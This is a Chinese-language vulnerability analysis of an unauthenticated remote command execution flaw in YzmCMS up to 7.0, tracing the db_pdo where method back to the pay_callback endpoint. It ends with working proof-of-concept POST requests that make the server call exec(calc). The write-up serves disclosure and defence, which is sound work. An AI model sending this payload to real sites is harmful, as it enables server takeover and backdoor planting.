YzmCMS是一款基于YZMPHP开发的一套轻量级开源内容管理系统,YzmCMS简洁、安全、开源、免费,可运行在Linux、Windows、MacOSX、Solaris等各种平台上,专注为公司企业、个人站长快速建站提供解决方案。
YzmCMS 某些接口调用了 db_pdo类的where方法 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。
影响版本
<= 7.0
漏洞分析
在db_pdo.class.php文件中,db_pdo存在where的方法。在195行出现了fun(rule)的执行方式
如果$fun 与 $rule 都为可控参数则会形成"exec(calc)"的危险函数调用漏洞。
分析$fun 与 $rule 是如何传参的
首先在187行与188行 rule为vv[1]得到, fun为vv[2] 得到
向上分析 vv(本身数组) 是数组args中遍历的,经过测试 args其实就是where函数的参数arr赋予的
那么接下来分析谁可以调用db_pdo类的where方法?
....
....
调用where方法有很多,调用的同时考虑参数是否可控,是否传递数组。
。。。
这里根据poc提供一个函数调用的地方
位于pay/controller/index.class.php中的pay_callback方法
php
$out_trade_no = $_POST['out_trade_no'];
$order = D('order')->field('id,order_sn,status,userid,username,paytype,money,quantity,`type`,`desc`')->where(array('order_sn' => $out_trade_no))->find();
经过前面的分析,传递的参数的是数组,这里已经符合要求了。我们只需将 $out_trade_no变为数组即可,且out_trade_no[2]为调用函数out_trade_no[1]为调用函数参数
根据框架的的控制器一般调用方法,欲想调用pay_callback方法 需构造这样的url "pay/index/pay_callback"
可以先这样访问看看行不行,如果不行在分析代码是否禁用的这种方式,是否有自己定义路由,是否有自己定义前缀,后缀。
漏洞复现
根据前面的分析的我们这样发请求行不行
POST /yzmcms-7.0/pay/index/pay_callback HTTP/1.1
Host: 127.0.0.1
Cookie: ;XDEBUG_SESSION=19079
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
out_trade_no[0]=&out_trade_no[1]=calc&out_trade_no[2]=exec
由于out_trade_no没有0的值 出现了错误。
跟进代码调试一下,
.....
....
其实我们前面忽略了一点,就是out_trade_no[0]的处理
vv\[0\]需是exp_arr存在的健,根据184行,我们随便找一个键 eq。构造如下payload
POST /yzmcms-7.0/pay/index/pay_callback HTTP/1.1
Host: 127.0.0.1
Cookie: ;XDEBUG_SESSION=19079
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
out_trade_no[0]=eq&out_trade_no[1]=calc&out_trade_no[2]=exec
系统成功的执行了exec(calc)函数,实现了任意函数调用。